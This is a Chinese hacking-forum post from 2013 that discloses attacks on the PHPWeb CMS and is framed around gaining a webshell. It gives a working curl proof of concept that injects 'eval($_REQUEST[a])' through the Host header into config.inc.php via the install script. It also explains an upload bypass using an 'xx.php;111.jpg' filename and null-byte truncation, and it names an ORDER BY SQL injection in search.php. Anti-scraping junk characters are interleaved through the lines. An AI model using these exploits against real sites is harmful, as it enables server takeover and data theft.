找回密码
 立即注册
查看: 3189|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:* \& U& u7 b9 G, ]* d; ]3 Q

* T: f9 a7 L+ a3 t+ Q- i& l之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
; l7 S# K' S' R  r( ~& s
# F4 z1 c5 z$ g2 }" K) ]3 p. u" Z鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
( @6 i' L, y  E" A* g2 P8 i0 H/ i鸡肋2: 有一定安全常识的站长都会删掉 install 目录# |- Q7 B* X' T+ Q+ b7 z. s9 j

9 O6 f' g/ Z1 r( |' z: |' J虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响1 u* z, d0 G$ G7 y9 [4 ]- p1 d: \
8 h; t+ o0 C/ O3 T2 W- A
分析:% b! b0 k5 X$ |6 _9 r% Y, z: [
: E% E" i* G# I

  N( |" O' u6 D7 m2 |$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
6 j+ y$ K3 a* J3 F
! x7 Y1 X# s7 Q  F) ]* l/ m                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
! u4 n$ t7 N& q2 V, M6 i                                            $filestr=str_replace(" ","",$filestr);* d! r; W9 y2 j
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);  W5 B  f$ R% e* r
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
0 h' U1 X, A1 |' Y" u  D# Q                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
: E7 ?+ D1 u0 B  k/ g                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
4 n1 l& J* {. {3 X' l                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
+ u# _7 D$ M7 G- U2 p( z! R" b. m                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
$ D2 y. R5 `$ w: G3 n' O' ]8 g: i2 h                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
. k. i6 k% T8 R; O6 c9 H
; `3 a3 w7 X7 |7 q- S0 G3 M                                            fwrite(fopen($ConFile,"w"),$filestr,30000);3 a& [+ S9 |- t9 B
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^4 U  D$ G+ g3 N  a3 o! @7 s. c1 _
( ^% x5 t' Q( Y# e9 W3 M& H8 J
poc:( t- x: v: s1 e; i8 ~: A
. G: k) {7 I$ c4 n, S+ b* M4 r
?
  F6 o* e! {4 q% c1
, b: v+ d5 m; pcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
; ~2 W8 k" v  q8 V' K" U( \shell地址: /config.inc.php/ V* X$ e- w/ o! r
跟之前的 phpcms一样 需要远程数据库) [0 X$ \: j$ Y1 B& W; z# K. C
" q8 W! O) Y  P7 p
——————————————————–
+ f2 s2 ], D, [' k' m上传漏洞(需要进后台):
  C0 a. U+ b4 A+ D: ~- w8 p0 R( H漏洞文件: /kedit/upload_cgi/upload.php
$ _0 J3 n0 C: O) }7 o这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用$ E, z# L5 e0 ~, m$ a( k
( ~& {$ E& t: F6 b9 G5 j
3 f$ u2 W& C" I+ O$ k5 l
<?php5 ?! |% J' o! P) v: l  l
    define("ROOTPATH", "../../");
+ V; p( p- q4 D8 a8 S9 }( Y    include(ROOTPATH."includes/admin.inc.php");6 w/ H4 q9 }) w' l
    NeedAuth(0);
9 `4 u4 U8 Q: [. @$ d ( r. {3 x% o3 n# j
    $dt=date("Ymd",time());6 a6 X/ C" L' R4 g% g' n
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
0 v5 W: T/ F. J            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
9 h+ r! |' z8 j) E    }
7 e  c# V% P: z. `% T, e8 E : Z. t% L; m( _% ^0 ]1 ?
    //文件保存目录路径0 u7 X# T6 b) t( [
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
9 A/ B1 H- `+ r7 X, k    echo $save_path;% O! c! y1 m0 W" n
    //文件保存目录URL2 [- ^4 z, d1 r6 H! i3 D9 z
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';  V  t4 k  h8 \1 T3 Z) }; k
6 I. |/ _8 J- i
    //定义允许上传的文件扩展名  q$ c2 l' Q4 d1 K
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀( J, N' C% q. x/ i$ a: O

, c! c! V# w/ j# f1 e& v    //最大文件大小
4 i6 b8 K& B) X' z% U: U    $max_size = 1000000;
/ }) d5 F8 a# a0 M   h/ l9 y# l8 N6 c9 Z
    //更改目录权限1 o. x; f) a" I# v
    @mkdir($save_path, 0777);1 g' Z4 L' y; T$ j6 [. M

+ V7 s' P5 W. f) Q1 }- w+ r; z    //文件的全部路径2 {8 X) B% t& E8 ]7 b4 G
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
' A4 ^  v3 [8 M# A$ `' C$ c
- F& e3 O7 l' g& R) N+ t    //文件URL+ k" u% |; O. o3 P, i
    $file_url = $save_url.$_POST['fileName'];# l0 i5 T! M- A0 H
//有上传文件时
: E& Q' S1 J2 s: z! w    if (empty($_FILES) === false) {% E4 V8 b; ?& N* M- n. M

7 S" s- H8 E8 ~  L4 l, U            //原文件名
, i' R1 `" x- k& P" a- Y; Z            $file_name = $_FILES['fileData']['name'];
& {  ~0 {2 }+ H            //服务器上临时文件名8 L4 W( K2 t6 o1 L, r
            $tmp_name = $_FILES['fileData']['tmp_name'];4 _0 j& ]' b$ b6 {
            //文件大小1 M" V8 K, K! C8 `$ v( q  C: w
            $file_size = $_FILES['fileData']['size'];& }* q  Y& w6 O. G$ m9 Z% y
            //检查目录
% `6 u1 [# \7 i0 |# T            if (@is_dir($save_path) === false) {$ `( Q; P# Q8 f* E! I" K  ^  ^
                    alert("上传目录不存在。");
$ X6 \" v4 ^2 H; N; x            }4 y+ n- V3 V1 j  S* O$ m
            //检查目录写权限4 B/ `$ t  r0 [6 ?: i1 O; `/ }" P
            if (@is_writable($save_path) === false) {' z) O- Q5 G6 O9 u! v. d
                    alert("上传目录没有写权限。");
. h0 q& W" Z) I" B1 W) Q            }* V  _) B. n% w1 X9 S/ {% ~0 \) T
            //检查是否已上传2 r6 l" [; t3 n$ }/ d* e1 r: M8 F5 g% n
            if (@is_uploaded_file($tmp_name) === false) {, T, A! t2 V9 P) V
                    alert("临时文件可能不是上传文件。");
+ r- C( K$ x1 t9 @            }+ I% c! n  w5 V/ D; D
            //检查文件大小* \. d/ r" j' t" E: Q
            if ($file_size > $max_size) {
8 H! o7 j1 T9 i2 _- F7 v' A" k                    alert("上传文件大小超过限制。");
/ D: X0 C, Z8 Q* v; h8 K5 U& h7 e            }$ Y6 h+ b) M  B2 |( @( {
            //获得文件扩展名! F5 V9 `6 c$ \- r
            $temp_arr = explode(".", $_POST['fileName']);
/ Q- x0 z  `+ C, P; Q            $file_ext = array_pop($temp_arr);
' ]: X5 o4 ]) N7 r2 G            $file_ext = trim($file_ext);
8 `) u5 {2 q- U            $file_ext = strtolower($file_ext);
; ^0 d* A' J  y( L2 d* K, c
- r" i8 `% l" Y/ D* V" N            //检查扩展名   4 o; f4 s% K- n5 F$ o9 }0 U
            if (in_array($file_ext, $ext_arr) === false) {     
4 Q) V7 ]) ]9 H1 Y! [                    alert("上传文件扩展名是不允许的扩展名。");
" m3 y( C9 L+ O4 _            }7 }! u  X+ n  m# _
/ ?. |' H: C* d! S7 J
            //移动文件   ' ?8 N$ O6 ?9 R' A- m
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^1 `7 Z# k; m- [6 o0 _$ `" E
            if (move_uploaded_file($tmp_name, $file_path) === false) {
: A- I; F6 C* w                    alert("上传文件失败。");0 F1 T. d1 b+ i. Q: f
            }# r3 W( p; I1 m- f& U

5 `1 [9 \/ p/ x* @  Q" H/ N* y' o' p            @chmod($file_path,0666);
! P: m" |9 A) {: u5 J
# l" E' S; w5 S1 J* J9 ?    ?># p& }& _" K0 g* f
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
5 ]7 x6 U; R3 Z" Z
. Y9 {1 p  J$ Iapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
2 e: d; _7 N& m' y. K
6 W8 A; C* _+ E& b7 [5 s# O5 Z——————————————————
1 K  g& S: F' w. o注入漏洞:
0 M  b1 w* g  S# Y漏洞文件:search/module/search.php# X! ]. {) c# h" Y$ A* B9 z1 T
/search/index.php?key=1&myord=1 [sqlinjection]6 A1 o* |& V' {! B: \2 b5 n

7 a) A8 F: Q6 c9 g: l, m' L
3 l5 J2 O, C% Q5 J, |, _" ?& J<?php' S3 E1 u+ ]: `4 ~
   //       ... 省略 n 行...: U3 h9 B5 A* p5 v. x! k& A9 S
   //第18行:9 q$ V: u/ m$ o- b" y: P
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
4 E+ g. u) E' `/ g  q$ o3 M( J           $page=htmlspecialchars($_GET["page"]);
5 b. ~/ ]/ D$ I/ X8 r! F- ]2 |           $myord=htmlspecialchars($_GET["myord"]);
: P% E% _. E! N; e" |6 b
0 S/ q* Q0 b6 k0 s   //       ... 省略 n 行...9 r( m9 F' m& ]9 O% Z
   $key,$myord 两个参数带入查询
6 N- g6 J+ F/ H0 y, h   //第47行 $key:4 q& G2 m! b' |+ C$ `
, l4 j: ~: ]3 b/ C2 k
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
$ C8 F' z: A' c9 N: D
: c% O' u  r) x/ ~1 y+ @! m5 f   //第197行 $myord& Y4 G. T8 i5 v5 ^9 r: M
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入+ S: r+ m* `: D3 {9 }* O
8 P2 X% L/ T& K  z( `2 j
   ?>! O( _$ x/ T) b* H; @; m$ h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表